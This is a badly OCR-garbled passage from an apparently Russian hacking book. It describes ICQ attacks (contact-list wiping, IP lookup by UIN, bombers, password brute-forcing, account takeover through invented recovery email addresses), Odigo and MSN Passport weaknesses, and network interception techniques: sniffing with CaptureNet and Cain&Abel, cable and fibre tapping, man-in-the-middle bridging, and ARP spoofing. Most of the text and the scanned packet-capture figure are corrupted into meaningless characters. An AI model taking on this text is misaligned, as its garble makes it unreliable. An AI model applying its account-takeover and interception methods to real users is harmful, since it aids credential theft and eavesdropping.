UIN# MOXHO BBECTH TI000€ YHCIO HIH aKTHBHPOBATh PEXKHM I'CHE-
paumn ciydaliHEIX HOMEpPOB HaxaTHeM Ha xHomke Ran (Random —
Cayqaiinbiif).

ICQ.

" LameTop For Joq [DBKILLER]

Puc. 7. Ilporpamma LameToy for ICQ.
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To ecrp nporpamma cmocobna BemonHATs ¥ QyHKIME ICQ-
Gom6epa. Bonee Toro, oHa cnocoGHa paspymaTh KOHTAKTHBIE JTHCTHL
n crapuix Bepchax kmeHra ICQ (ICQ99a mmu ICQ99b). Ecim or-
1paBuTh coobmenue, B koropom UIN ornpasmrens cosmaaaer ¢ UIN
HONY4ATENd M €CIH IOIy4aTelb BHECET OTIPABHTENS B CBOM KOH-
TAKTHBIM JIACT, TO IpH caeayromeM 3anycke kmenta ICQ xoHraxt-
nbiif acr Gyaer yrepan. Takxas ataka HassiBaercs DB-xuwmiep (unu
«KHIITHHE achKu»), rac DB osnauyaer Data Base — 6a3a JaHHBIX,
IIOCKOJIbKY KOHTAKTHBIH JTHCT XpaHUTCA B (aiine Gassl JaHHBIX, IO-
mclneHHo# B katanor DB nmi NewDB,

Onpenenenne IP-anpeca mo UIN,
MHorue araxy MOXXHO BBI-
HOMHKUTB, TONBKO 3Has IP-ampec
KOMIIBIOTEpA CBOEH xepTBhl. Yro- UM

Oui onmpenemutp IP-aapec KOMIb-  opas EE—
10TCpa TI0 YHHKAILHOMY HOMEDY —jpuay [~ B |

Puc. 8. TIporpamma ICQ IP Sniffer.

332 1C4Q IP Sniffes - v 1

10ab30BaTENsA, OBUIO HANUCAHO
MHOXECTBO KpPaKEpPCKHUX YTHIIHT,
wanpumep, yrwimra ICQ IP Sniffer.
9Ta yTHIINTA, KaK ¥ MHOTHE JPYTHE €€ AHAJIOTH, CBA3BIBACTCA
¢ cepsepom ICQ, u no Beeaennomy UIN onpexenser IP axpec kxom-
nwrotepa. Hexoropeie yrunursr Moryr taxke oOHapyxuts 1 TCP-
1nopT, uernofb3yemuiit ICQ-KIHEHTOM MUIA MONY4CHUS HHPOPMALIKH.

ICQ- €pBI.

@ayaeper ICQ (ICQ-60mbepar), OX0XkH HA PACCMOTPEHHBIE B
“CTBEPTOM IiaBe MEHIOGOMOEpH M NpeaHA3HAYEHH! AJIA OTHPABKH
MioKecTBa coobmenuit Ha nopr ICQ-kiueHTa ¢ LETBKO MpeKpaine-
118 I 3aTPyAHEHUs PaboThl «achku». TONKY OT TAKHX aTtak Mao,
I MX HCTIONB3YIOT MO GonbIeH yacTH MHGO0 A1t PHUNHEHHS OKpY-
KUOLMM MENIKMX rajocTeH, b0 Kak Opyaue BO3ME3Aus 3apBaB-
HICMyCS KyJI-Xaukepy.

Banom ceprepa ICQ.
Yrobbl momy4uTs MONHBIA KOHTPONs Han paboToif MoIbL30Ba-
reas ¢ cepsucoM ICQ, MoxHO monmpo6oBaTh B3OMaTh JOCTYII K CEp-
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sepy 1CQ, Bocmons30BaBIIMCH METOAOM MPSMOTro nepebopa naponeit
JOCTYIa, aHAJOTHYHOTO NPUMEHAEMOMY XIS B3JIOMA IIOYTOBBIX
sikoB. C Touky 3peHus kpurrorpaduu, TaKoi METOA BIOJIHE KO-
IyCTHM, €CIIM Yy BAaC HMEKOTCS HEOTPAHMYCHHBIE BBHIUYHCIHUTEIbHBIC
PECYPChl, @ CHCTEMA 3aIHUTBI HE OTCJICKUBACT MHOTOKDPATHHIE MO-
IILITKH BXOJa C OJHOTO ajpeca.

Oanako mpsmoit mepeGop 3aHMMaeT JOCTATOYHO MHOTO Bpe-
MeHH, Gonee ya00HBIMHU ABIIAIOTCS APYTHE METOIBI IIOIYYCHHS I1a-
porei:

- Tposa ¢ ICQ- 8 cuwae
KPaKepOM MM JTIOOOH APY- 2 AOLintrt Messonge M)
1 Yahoo! Messenger

roifi TIPOTPAMMOM BOCCTA- 1 MstiMessenger Sorvcs
HoBnenms mnapomedl. Ha- i

npumep, IporpamMma BOC- 'gi,”;‘,'me
CTaHOBICHUS mapoiici Ad- B TOnineHesenn -
vanced Instant Messengers K MochMessg B

| @ ScreerFIRE
;QP!&RMW

Password Recovery mo3Bo- @ ewesCommeicaa
; @y Imici Messengsc

JSCT M3BJICYD MAPOTH OONEE | & Posey mtar Mossonge
| @ Powwou Messengsr
YEM M3 TPOX ACCATKOB BH- | taberiMvl

AOB TIPOrpamMM OGMAHA CO- @ o rorsin R |

OB ImeHMAMH. g {iri

— CepBuc aBTrOMaTH- O wen
YECKOro HANOMHMHAHHA Ia-  HYsem

- . R & RedifBol
poneit xommanuu Mirablis. § swew
IlpencraBaser coboit ciyx-
6y OTIIPABKH TEKYINETO Ma- ¥ moasw
poIIs HA aApec ANEKTPOHHON
MOYThl, YKA3aHHBIA IIPH pe-
rucrpary.  Kax nomydwurs
JOCTYIl K YyXKOMY IIOYTOBO-
MY SIIMKY MBI PacCMOTpETH
B TIPCABLAYINEH INaBe.

— IlporpamMsl npocoymuBaHusg CETH M BBIACICHUA H3 TEpe-
xBaueHHOH mH(popMaimu cayxeOnbx nakeroB ICQ, a mMeHHO: M3
cyxebHoro nakera LOGIN u3BnekaeTcs HOMEp «aChKH» H Mapoib,
a u3 nakera CONTACT_LIST — nosnHb1it nepeueHs COOECEAHHKOB;

— COHHAJIbHAA HHIXKCHCPHA.

€D Simple Instant Messenger
% Vista Instant Messaging Chent

@ Gan

Puc. 8. IIporpamma Advanced Instant
Messengers Password Recovery.
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Kak u Beane, Haubonee 3¢ peKTHBHEIM MHCTPYMEHTOM B3JI0MA
cepsuca ICQ saBasercs coupanpbHas MHKCHEPHUS HIIH, TOHPOCTY, MO-
mcHAmaecTBO. KoHeuHo, npu Hamwgud JOCTATOMHO GONbIIMX BHI-
NMCITHTENBHBIX. PECYPCOB, OBICTPOH NMHME CBA3M M XOpomei npo-
I'paMMeI riepebopa naponeif, MOXKHO NOHTH B I000BYIO araky Ha cep-
nep ICQ. B sToM crryuae, paHO MM MO3AHO, BBl MOXKETE NOTYYHTh
napons moctyna K cepsucy ICQ monp3oBatend, 3a0bIBINETO OCHOB-
noll NPUHIMI KOMITBIOTEPHOH O€30MacHOCTH — HCIONBb30BAHHE
CIOKHBIX TIApONeH M HMX 4acTyio 3ameHy. Opmako Takyio 3ajgaqy
MOXXHO PEIITMTE K HHBIM, 6onee 3 hEeKTHBHEIM myTeM.

Ilpu macrpoiixe xmuenta ICQ, or noms3osarens Tpebyercs
MBCCTH CBOH mowTOBHIH axpec. Hexoropsie nmonb3oBaTens cauTaior
Y1y TIPOLEAYPY MyCTAKOBOH M YKa3biBalOT BMECTO PEABHO CYIECT-
NYIOLIETO aXPeca INEKTPOHHOM MOUTH BHMRIMIECHHENM axpec. Ecnu
Kpakep mpu obcnegoBanum cnucka ICQ-ximenToB Halifier Takoi
WLIMBINUICHHBIA NOYTOBRIH azpec — BIIOM gocTyna k cepsucy ICQ
WIQIETBIA 3TOTO aJpeca He BBI30BET HUKAKuX npobnem. JIeno B Tom,
10 UMEHHO Ha YKa3aHHBIH MPH PErHCTPAIMH aApeC NCKTPOHHOM
nouret cepsep ICQ BmcruiaeT mapons, ecin obnagarems UIN Boc-
HOJIB3YETCS CPEACTBAMH CEPBEPA TS BOCCTAHOBJICHMA IAPOJIS PEry-
¢IPALMH HA CEpBEpE. A Teneph NOAYMAHTE — YTO OMEMACT KpaKe-
)y CO31aTh HOYTOBHIH AMMK C TAKUM BBIMBIIUICHHBIM NOYTOBEIM
WPCCOM H 3aNPOCHTE CepBep 00 oTnpaske eMy axo0sl 3a0HITOro na-
pons? :

Br1, HaBEpHOE, NIOHATH, B YEM COCTOMT CyTh COLMATIBHOM MH-
MCHCPHHM — BHIBEABIBAHNE BCEMH METOJAMHU Y CBOEH KEPTBHI Mr000i
nudopManmy, noMoraomeif BIIOMaTh JOCTYI K MH(POPMALHMOHHBIM
jrecypcam Kommbiorepa. IIpHBBItKH, mpHCTpacTHs, HOBCACHHE KEPT-
nu — BCE MMCET 3HAUCHHE, NOCKONBKY, K MPUMEPY, 3HAA, YTO B
M0OHTE HKHBOTHBIX, MOXHO TPEIIOI0XHTE, IT0 PH BHIGOPE mapois
nLl MCTIONB3YETE MMA CBOCH CODauku — a BeAp CHMCOK WMEH A
MUBOTHBIX OTHIONb He GeckoreueH. Iockomeky ICQ — 310 cnocob
HONOCPEACTBEHHOTO, JKHBOro OOINECHHS, YEN0BEK, 00nafarommii dne-
MCHTADHBIMH HABBIKAMM B YICHXONIOTHM, MOXCT TaK «3arOBOPUTH»
enocro coOECeaHNKA, YTO OH COIVIACHTCH HPHHSTE OT HETO HCTION-
mucMbti daiin, pazbonraer Bce, YTO 3HAST K HE 3HACT.
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Xors ocHoBHOE BHuMaHue Obuno yaencHo cepsucy ICQ u y
Apyrux cnyx0 oOMena coOOmMEHMAMY B HX KIHEHTOB NOJIHO YA3BH-
MOCTeii.

Tax ¢ nomMompio HeGONbIOH MOAUGHKALIH MOXKHO ZOOUTHCA
or Odigo cnexyromero:

— Bo3MoxkHOCTE BHAETh IP-ampec m HOoMep Odigo mioboro
MOMb30BaTeNs (ECITH OH CKPBIT);

— BHOCHTb JIX000r0 NO/IL30BATENS B CIIMCOK «APY3€ii»;

— MPOCMATPHBATH «CITHCOK APY3eii» MOOOro noib3oBaTes;

— BECTH Pa3sroBop OT J00O0ro moib30BaTeINA;

— MPOCMATPUBATh COOOINEHHUS, MPHXOAAIHE JIOOBM IIONB30-
BATENAM; )

— OTKPHBATH OXHOBPEMCHHO Heckonbko xiueHToB Odigo (ec-
TECTBECHHO, C Pa3HBIMH HOMEPaMH).

Ecrp Hemocratku M y MSN Messenger Service. Kancysri
none3oBarens MSN Messenger wimn MSN mmeer cBoit «macmopr»
(Passport). Cryxba Microsoft Passport — sapo crparermu NET.
Passport Gyzer cayxuTh Kak €IMHCTBCHHOE CPEACTBO MACHTH(pHKA-
IMH B TPAH3AKIHMAX ¢ Moboil kxomnanueii, Tpebyromei ayrenTudu-
xauuu Ha Gasze «macnopra», 1 Microsoft Tpyaurca He Hoknazas pyx,
q100bl MOAKIIOMHT, K MHUIHMATHBE KaK MOXHO OONbINEG KOMIIAHHI.
Ecim nnasw Microsoft mpaHecyT mioam:, nons3osatensM Oyaer He-
obxomuMo mHmB ofuH pa3 ayrerTadmimposarscs B Passport Data
Center (ynpasnsemom Microsoft), nocne sero cHu CMOryT CTpaHCT-
poBath no HurepHery, mepexons OT OZHOH CIyxObl, moaaepu-
paromeii Passport, x apyro#i, 6e3 HeoOxonquMOCTH KaxAulH pa3 BBO-
JUTH JIOTHH M TApOJb, YTO BeChMa yA0OHO qus monb3opareneii. On-
HaKo, BCE 3TO TONBKO HAa PYyKy kpakepam. Hazio 3HATH TONBKO 37IEK-
TPOHHBIA ajgpec H Mapoib KESPTBH, YTOOH MOMACTh TYAA XKE, KyJa
MOXKET HONANaTh 3aKOHHBIH NONB30BATENb. JTO CBA3AHO C TEM, YTO
«nacnopry» B xadecrse ID momb3oBarens TpeOyercs TOMBKO €ro
e-mail, x TOMy e Honb30BaTeMb OYAET MCIIONB30BATH CAUHCTBCH-
HEI napoxs ;s Beex caifros, noaaepxusatomux Passport. Ho ca-
MBIM NPHBJICKATENLHEIM I Kpakepa Oyaer To, garo Microsoft mpu-
psazana k Passport cme ¥ cayx0Oy Wallet («Oymaxuuk»), T. €. 3204HO
MOXHO IOXYIHTh HHHOPMALHIO O KPEAWTHOH KapTe NOIb30BATENNA.
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Cepsuc ICQ urpaer ais B3TOMa KOMIBIOTEPOB BechMa 60b-
MOC 3HAYCHUE, OHAKO HE BCE KPAKEPH MPAaBHILHO NMOHHMAKT OT-
KPBIBAIOIIHECS TIEPEA HUMH BO3MOXKHOCTH. OCHOBHOE NpeAHA3HAYe-
ive ICQ anst cepbe3Horo kpakepa — 310 cGop nosne3Hol uHpopma-
LMK O CBOMX JKEPTBAX, 3 TAKKE PACIPOCTPAHCHHUE TPOSHCKMX KOHEH
u apyrux rporpamm o kommbiorepam ICQ-cobecenmnmxos. A 6om-
GupaupoBka nepseix nonasmmxcs kxueHTos ICQ GeccMBICTEHHBIME
HOCTAHHAMY M Pa3pyINCHHE KOHTAKTHBIX JHCTOB — pPa3BICYCHM
MUHAATIOB M KYJI-XaI[KEPOB.

Tax 9ro nepes teM, xak Boitti B ICQ-coobmectso, crnenyer
NPCATIPHHSTL MEpbl 3AIMMTHI: OTMCHMTh BCC HEABTOPH3OBAHHEBIC
nintodcuust UIN B KOHTAKTHBIC JTACTHI, HH B KOEM CIy4ae HE YKa3bl-
saTh B HACHTH(OUKAIMOHHBIX JAHHEIX PEANbHBIC CBeJeHHs O cebe
cumoM. O6masce ¢ ICQ-cobeceanukomM, Beeraa 3amyckars Gaipsonx
It AHTHBHPYC, YTOOR M36EXaTh BOMOXHOM aTaku Ha OTka3 B 00CITy-
WHBIHAY WY NONANAHMSA HA KOMITBIOTEP BHPYCa.
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I'JIABA 6.
Cetenbie araxn. Ilepexsar ceTeBbIX AAMHbIX

B 3T0i1 riaBe Mbl pacCMOTPHM TEXHOJIOTHH CETEBHX aTak, OC-
HOBAQHHbIC Ha NepexBaTe ceTeBbix nakeToB. OOBMHO 3TH aTAKH JCTAT
Ha ABa KJACCA: NMACCHBHHIEC M axrusubie. [Ipy nposeseHuM naccus-
HBIX aTaK KpaKep MOIydaeT KONHUIO Beeit HHMOpMAIH, MPOXosIneH
4epe3 KOHTPOIMPYEMBIif CErMEHT CETH, a NMPH aKTHBHBIX — MOXET
BIMATDH HA NEPEAABACMYIO HHGOPMAIMIO.

1. ITaccusHbIe aTaky.

1.1. Ceresoit cHudumr.

Iox cereBnM CHU(UHIOM NIOAPa3yMEBACTCH MACCHBHBIH Ie-
PeXBaT JAHHEIX C NOMOMBIO KOMIBIOTEPA, NMOAKIIOYCHHOrO B KOH-
Tpomupyemstii cerment cetd. g camdumra cereil Ethernet ncnoms-
3yIOTCA CHELMANBHEE TPOrpaMMEI-CHH(EPHI, KOTOPLIE IEPEBOAST
CETEBYIO KapTy B PEXHMM NPOCTyUIMBaHHA. B 3TOM pexuMme Kapra
IPHUHUMAET BCIO MEPEAABACMYIO IO CETH HHMOPMANMIO, HTHOPHPYH
HecoBnaaeauss MAC-anpecoB B NakeTe JAHHEIX M CCTCBOM KapTH
kommboTepa. IlpunsToie nakeTs nepeAarorcs nporpamme-caudepy,
KOTOpas, MCXOAA M3 BBCACHHBIX KpPAaKEPOM KPHTEPHEB, OTACIACT
HYXKHBIE €My HAKEThl OT HCHYXKHBIX.

B xazectse mpmMepa paccMmorpum mporpammsel CaptureNet u
Cain&Abel.

Ilporpavmva CaptureNet ABIACTCA KIACCHHUCCKHM MPHMCPOM
cuudepa. IlporpaMma MPHHEMAET BCE CETCBHIC TIAKETHI, COOTBETCT-
BylOmue BBeACHHBIM (prumbTpaM. OuisTpalis BO3MOXHA IO HPOTO-
xonam, no nopraMm, IP-aapecam. Ha pucynke 9, BHAHO Kak mporpam-
ma CaptureNet nepexBaThBaeT BCe HOYTOBbIC coobmenus. B Bepx-
HEM NPAaBOM OKHE BHHBI BCE MIEPCXBAYCHHLIC KAJPHI, 3 B HEDKHEM —
COAEPXMUMOE BBIACICHHOIO Kaapa — TEKCT IMChMA COCTOAMIETO M3
HECKOIBbKHX CTpok Test message. B mepexsadeHHBIX Kaapax Haxo-
JATCSA HE TONBLKO OTIPABJICHHLIE H MONTY9YEHHKE COOOMECHNA, HO OT-
BETH KIMCHTA Ha 3aNPOCHI NOYTOBOrO CEPBEPA, BKIIOYAIODIHE Ia-
POnb NOIB30BATENA AJIS JOCTYNA K INCKTPOHHOM IOMTE.
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Vo s Capturchiet v3 12 =l81x
190 0 B1E ¥ i Adipler . NDIS SO dive  Packelsin buter 296 SePosphiatt
. o Ra__ | Trwefum o MAE sousce 003 Frwne | Prolocd Add P xc Ador P dest | Podt we | Portdes o]
w W?_mmf' 7 eI 0E061.25D38 1P TCPoPOPY 19216811 WLtz no 1o
Podeon  BTHATIZ R 141747050 00EC81-5D3M P TCPaSMTP 19216811 192160112 -] 109
Lot sty 73 12019850 3E08125038 [P TCPaSMIP 12216811 LRI TR S 11
: M 421580 0306125033 (P TCPaSMIP 19216811 |2 B e
st 75 A3e50 00E081250334 P TCPaSMIP 12216811 LT TE S S 1)
oghn 7 142018650 0DE0S1B03M P TCPSMIP 19216011 EAC TR T |11
: Z s GDEOQI25D33A P TCPaSMIP 1215811 wEeL2 B M2
: @ 11890 CDEOHI25DIT P TCPaSMIP 116311 mes B 12
@8 14201990 0WE0E125D3% P TCPaSMTP 19218811 121812 ¥ M2
80 162019960 00081250394 P TCPaSMIP 1216811 R X M2
81 162019960 W0E081-BDIM P TCPHSMIP 19216901 weeLz & e
W 16201990 00E0E125D33 P TCPaSMIP 19216411 RWLI2 B M2
£ 140210 0E0812503% P TCPaPOPY L3RR 12 Ne 1
B 40T 00EC8125D3SA P TCPaPOPY 12161 118112 N0 11
® 142023200 DE0S125D3SA 1P TCPOPOPY 121611 1REELI2 e M
2 XD 00£0€1:25038 P TCPaPOPY 19276811 1RIBIZ M0 M
2 DB UDE0E1-5D3 P TCPIPOPD 19216811 wRBEIZ N0 M3
2 UNBM 00E0812503%8 1P TCPaPOPR 19216811 17RE SR I B V1
29 42023260 00£0461-250394 P TCPPOP3 1352168.1.1 192.168.1.12 1o ma
2 AR 0DECOIBDIA P TCPoPOPY 19216811 JRIB1Z N0 m3
- wnAN0 0DECAIBDI P TCPPOPR 19216811 iz 1
m  wanIW 00061250384 P TCPoPOP3 19216811 R8I et
2 120BIM CDEOO15DI% P TCPIPORR 192.168.1.1 SE-RITRRTINS \ I 1F)
™ AT GDEOUI-ZOIA 1P TLPPOPY 19216811 w2z o 1
26 142027100 E0SIBDISA P TCPASMIP 12216911 w12 B M2 T
L 1 v
B410; 20 b OA OD OA 54 63 73 74 20 GD 83 73 73 61 67 ....Teat mosmag |
0420: 63 0D CA 34 63 73 74 20 6D 63 73 73 61 67 53 OD o..Test meawage.
0430: OA 34 63 73 74 20 60 65 73 73 61 67 63 OD 0A 34 .Yest message..T
0440: 63 73 74 20 6D 63 73 73 61 67 63 0D OA 34 63 73 set mossage..Tes
04363 74 20 6D 63 73 73 61 E7 £3 OD OA 34 63 73 74 20 t moesayo..Yost
0460 §3 73 73 61 67 63 0D OA 34 63 73 74 20 6D 63 meveage..Test mo
0470: 73 73 61 67 63 0D DA 34 63 73 74 20 6D 63 73 73 ssage..Tost nwes
0480: 61 67 63 OD OA 34 63 73 74 20 6D 63 73 73 61 67 ago..Test mossay
04907 635 0D QR 54 63 71 74 20 6D 63 73 73 61 67 63 OD 0., t mpesago.
D4AD; OR 34 63 73 74 20 6D 63 73 73 61 €7 63 OD OA 0D . .
04NG: A OD 04 2D 2D 20 OD OA D1 20 F3 £2 EG X6 E3 ®D . FYBTy
04CD: EB6 E3 BC 2C 0D G& 20 CA EO Y0 BF ZZ E2 20 C4 EC . >
04DO: £0 2 Y0 E9 E9 20 CO ED 2O F2 KE XA FC XS EZ B8 o.o0v cuvvennnns
VNI LUBTERED COPY 8 HERETT)

Puc. 9. ITlouyroBoe cooOmeHue, repexBadeHHoe nporpamMmoii CaptureNet.

IMporpamma Cain&Abel npeacrasiser co0oif MOIMHBIA KOM-
1UICKC, OPHMEHTUPOBAHHBIA HA AKTHBHBIN M INACCUBHBIH IIEpexBaT
tpaduka, CHaOKEHHBIN QYHKIMAMHE aBTOMATHYECKOIO BHLICACHUS U3
ipaduka yIETHBIX 3anUCeil MONb30BATENA U €ro maponei, GpyHkius-
M1 oabopa maponei K MepeXBadCHHBIM X3IIaM, OTOOpaKEHMS Ia-
poJICH, CKPBITBIX 3BE3M0YKAMH.

Ha pucynke 10 Buano, uTO mporpamMma nepexsatuia TpH 3a-
1Ipoca MoNB30BaTeN KoMImbioTepa ¢ aapecom 192.168.1.10 x mouto-
nOMY CEPBEPY U BBIBENIA HCIIOIB3YEMBIH MM JIOTHH H apOb.

Ecmu nporpammy CaptureNet MOXKHO IPHMEHAT U B «MHPHBIX
ICIAX», T. €. QIS 3aMCH HA CBOH AHCK 3arpy’KacMbiX APYTHMH
nosb3oBaTeNaMu (GaiiioB ¢ HENbI0 SKOHOMHH Ha TpadHke, TO Ipo-
rpamma Cain& Abel s5BHO OpHEHTHPOBAaHHA Ha B3JIOM PECYPCOB CETH.
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Puc. 10. Ilapons k noure, IepexBayeHHbI nporpaMmoit Cain&Abel.

1.2. «CHaTHe» MHGOPMALHY C JIMHUN CBA3M.

JpyruM MeTOAOM MacCHBHOrO mepexBara Tpaduka sIBASETCS
HNOAK/IIOYCHUE K KaOCIbHBIM JIMHUSM YCTPOHCTB, «CHUMAIOMIUAX» TIe-
peaaBaeMyro HHGOPMAIIHIO M NEPEJAIOMHUX €€ HA KOMIILIOTEP KpaKe-
pa. Hanpumep, noaxmoueHue k TeneGOHHOH THHAH, CBA3BIBAIOMIEH
cepBep ¢upMmer ¢ MHTEpHETOM ¢ NMOMOIIBI0 MOAMDHIMPOBAHHOTO
mozema. OH JAeKOAMpPYET TPAHCIUPYEMBIH 10 JTHHUH CHTHAI U Iepe-
JIacT €ro Ha KOMIIBIOTEP KpaKepa.

CuuTanock, 4TO ONTOBOIOKOHHBIC JIMHUY CBA3H 3aIIMINECHBI OT
npociaymusannia. Ho 3o ve Tax. KoneuHo, mOgKIIOYEHUE K ONITOBO-
JIOKOHHOMY Kalemro sBjsercs 00jee CIMKHBIM, HO H OHO BIIOJNHE
OCYINECTBUMO.

CymecTBYIOT BapHaHTBl KOHTAKTHOrO M OECKOHTAKTHOTO IOA-
KJIIOYEHHMS K IMHMAM BONOKOHHO-onTrueckoii cesa3u (BOJIC).

JU11 KOHTakTHOTO NOAKIIOYCHHS YAQIMIOT 3AIMMTHBIA CJIOH
Kabens, CTPaBIMBAIOT CBETOOTPAXKAIOWIYI0 O0ONOYKY M H3rubaror
onTHYECKHi kabenp Ha HeGompmo# yroiu. Ilpu TakoM mopkIOYeHNH
k BOJIC oOmapyxuts yreuky uH(poOpMauuu 3a CYeT OCIabIeHus
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MOLHOCTH  H3IyNCHHS
OnBacT O4EHBL TPYAHO,
MK KaK 9TOOBI MpoCy-
WaTh TEPETOBOPH ITPH
CYLUCCTBYIOIIMX
NPUCMHEIX YCTPOHCTBAX
NCCAHKIMOHUPOBAHHOIO
JOCTYIIa,  JOCTATOYHO
orobpars Bcero 0,001% nepenasaemoii mommuoctu. Ilpu arom fo-
NONHATELHBIE IOTEPH, B 3ABUCHMOCTH OT BEIHYMHL W3ruba xabens,
vocrasmsmor seero 0,01-1,0 1b.

Puc. 11. Kowraxrroe nogxouerue k BOJIC.

Beckonraxtroe noaxiouenne K BOJIC ocymectamserca cue-

ytoLmM 06p3,30M’ —] ]
~ B Ka4ecTBe - PR
MICMCHTE ChCMA CBCTO-

WOro CHIrHajia HUCIIONb3Y- ) XIB

Wl CTEKIMHHAA TpyOKa, %.

Prc. 12. beckonrakrHoe nopxmodctue k BOJIC.

HUIOTHCHHAN KUIKO-
Gil0 ¢ BBICOKMM JIOKaA-
WIICHCM MPEIOMIIGHHS M € H3OTHYTHIM KOHIOM, JKECTKO (PHKCHPO-
ML HA OIITHYECKOM Kabene, ¢ KOTOpOro MpeABapUTEILHO CHATA
wpaHHag 06010uKa;

~ Ha OTOTHYTOM KOHIE TPYOKHM yCTaHAaBIHBAETCA OOBEKTHB,
hoxycapyromuii CBETOBOH MOTOK HA (GOTOAMON, YCTAHOBICHHEIH Ha
paccrosamM. 3ateM cHrHan ¢ GoToAHOAA MOZACTCH HA YCHIHTCIb M
1jHMCMHHK.

CaMbpiMi yA3BEUMEIMH JUIs IIEpexBaTa Tpaduka sBISIOTCH pa-
NIOCCTH — KPaKepy AOCTATOHO YCTAHOBHTH NPHEMHYIO aHTCHHY H
NOJUIIII09HTD K HEH CBOM KOMITBIOTED.

HecomreHHO, MPOCTyIMMBAHUE CETH OYEHb MOJIEC3HO C TOUKH
PCHus 3TTOYMBINIICHHNKA, TIOCKOIBKY ITO3BONSET NOMYIHTh MHOME-
vImo monesHoll MHbOpMamM — nNepeiaBacMBIC IO CETH IAPOINH,
nAPCCa KOMITBIOTEPOB, KOHGHACHIMATLHLIC JAHHEIC, TMCBMA H TPO-
wee. OxHAKO MPOCTOE MPOCTYIMMBAHKUE HE TIO3BONAECT KPaKepy BMeE-
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IIMBATLCA B CCTEBOC B3AHMOACHCTBHE MEXKIY ABYMS KOMITBIOTEPaMU
¢ Henbio MoaudHKaIMH ¥ HCKaKeHUs JanHbX. JIa pemenns Takoi
334394 HCTIONB3YIOTCA AKTHBHEIE METOAB! IICPEXBATA CETEBOXO TPa-
duka.

2. AKTHBHLIC ATAKH.

2.1. Bxiouenue
KOMITHIOTEDA B «pas-
pHIB» ceTH,

Ilpumipm  meto-
Jia OYCHb IPOCT — Me-
KAY HBYMSA KOMIBKOTE-
PaMH  YCTAHABIMBACTCS
KOMIIBIOTEp  Kpakepa,
HMEIOMHII ABC CCTCBHIC

KapThl ¥ HCIOIHAIO-
muif pons  MOCTa.
IMprmyem IP u MAC azapeca ceTeBbIX KapT YCTaHABIMBAKTCA Tak,
9T00B PA3bCAMHEHHEIC KOMITBIOTEPH «BHICIH» TE e aapeca, 9T0 U
Jo paspeiBa. Eciu MocT paboract B peHME PETPAHCIAIMH, TO €ro
npucyrcrBue 6yger HezamerHo. OgHAKO, B 3aBUCHMOCTH OT ynpas-
AMOmei MpPOrpaMMBl, Pa3ACISIONIAN KOMIIBIOTED MOXET 0TOpachi-
BaTh, NOAMEHATh, COXPAHATH, H3MEHATH BCE MJIH HEKOTOPHIE ITAKETHI.

I'naBHBE HEZOCTATOK 3TOrO METOAR — HEOOXOAHMOCTH
«pBaTh» Kabenmb # MOACOCAUHNTCA K HEMY. Jsi 5T0TO HEOOXO MO
HaiiTi Kabenb, NPOTAHYTH AOMOIHHATEIBHBIC JHHHHN CBA3H, IO KOTO-
PHIM JIETKO BBIMMCIHTL B3JOMINMKA, NOJKIIOUHTL HOBHIE JIMHHM K
CYINECTBYIOIICH M pa3pe3ars OCHOBHYIO Maructpaiib. Iipu mposoa-
HHIX JHMHUSX 3TO €IS PEmAcMO, HO NPH OITOBONOKOHHOH JIHHHHM
CBS3M pe3ka kabeis, HaBapka KOHIEBHMKOB, YCTAHOBKA Pa3BCTBHTE-
neit obolinercs B 3HAYMTENbHYIO cymMy. bonee Toro, TpyaHo CKpHTE
¢dakT pa3phiBa JTHHUH NPH TEPHOAWICCKOM KOHTPONE KabGeabHOro
XO3SHCTBA.

Aror Meroa naubonee ONTHMANCH B CETAX paguocessd. [l
3TOro MENAY ABYMA aHTCHHAMH KpPAKepa yCTaHABIMBAETCA TeHepa-
TOpP IOMEX, MPENATCTBYIOUICH OpraHH3alHy MPAMOH CBI3H MEXAY
Pa3aCIIEMBIME KOMITBIOTEPAMH.

Puc. 13. Bonoderne KOMIBIOTEPa B «pasphiB» CETH.
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2.2. Jloxmmie 3anpocet ARP.

ITOT METOA NMO3BOJAET MEPEXBATUTE B 3AMKHYTh Ha CeOf Ipo-
IECC CETEBOTO B3aUMOAEHCTBHSA MEXAY AByMA KoMmmnbiotepaMu A u B
v HOMOWIBIO roAMeEHs! IP-anpeca B3auMOASHCTBYIOIUX KOMIBIOTE-
pois ceoum IP-azpecom, HarpaBuB kommnbiorepam A u B danscudu-
mnposannsle coobuwenns ARP (Address Resolution Protocol —
| lpoTOKON pa3spemCHHAs aPECOB).

Yrobst pasobpatecs paccMoTpuM nporokon ARP nmoapobree.

Ipu o6pamenun k 1:000My CETEBOMY KOMIIBIGTEPY IpOrpam-
M HTH ONIEPALIHOHHAA CHCTEMA JOJDKHA TOYHO 3HATh aAPEC MAllH-
niu. B xauecTBe 3T0r0 agpeca ucnonssyercs agpec MAC (Media Ac-
vess Control — VopasneHue A0CTYynoM K cpee nepenadsm). Aapec
MAC (unu MAC-anpec) — 310 yHukaneaoe 48-paszpsmHoe gucno,
1ICBAMBAEMOE CETEBOMY ajamrepy mnpoussogureneM. Hmenno
MAC-aapec ucnions3yercs Ha noxyposae MAC kaHaJILHOrO YpOBHS,
wyuommero opMaT KaJpoB, METOLBI ZOCTYIA M CIIOCOOH! azpecalH
n cerax TCP/IP. TlockomsXy HOMb30BAaTENH HUKOTAYG HE YKA3RIBAIOT
MAC-agpec, AO/DKEH CYIIECTBOBATh MEXaHH3M IpeoOpasoBaHms
waend Mamruasl, aMenn NetBIOS umu IP-agpeca B MAC-aapec.
ot MexaHu3M B obecneauBaeT nporokon ARP.

OH BX0auT B COCTaB OCHOBHOrO Habopa nporoxonos TCP/IP i
1COJIB3YETC TONBKO B MPEAEIax ORHON (HHU3MIECKOH CETH MIIM NOJ-
vem. C nomompio ARP MAC-anpec MamuHel ONPEAEIACTCS N0 €ro
1" aipecy cremyiompM oOpasom:

{. Kommsiorep nposepsier cpoil xom ARP, B xoropoMm naxo-
mncs COMCOK WM3BECTHHX IP-aApecoB M COOTBETCTBYIOIHX MM
MAC-agpecos.

2. Eciu komnsiorep He oOHapyxut B xome ARP neobxomimo-
10 Japeca, OH OTTPABILET MHpOKoBemaTenbHbi 3anmpoc ARP. B
wnipoce coaepxwmrcs IP-aapec ornpasurens, a Taoke IP-aapec Toit
suinast, MAC-aapec xoropoi HyxHO onpeaenuts. 3anpoc ARP
NONYHAIOT TOMBKO KOMITBIOTEPHI JOKANBHOH CETH, NMOCKOJIBKY IMHPO-
KONCITATETBHBIE 3ATIPOCH TAKOTO THIIA HE MAPIIPYTH3UPYIOTCS.

3. Kaxeaniit kommpiorep cetr nonyuaer 3ampoc ARP u cpas-
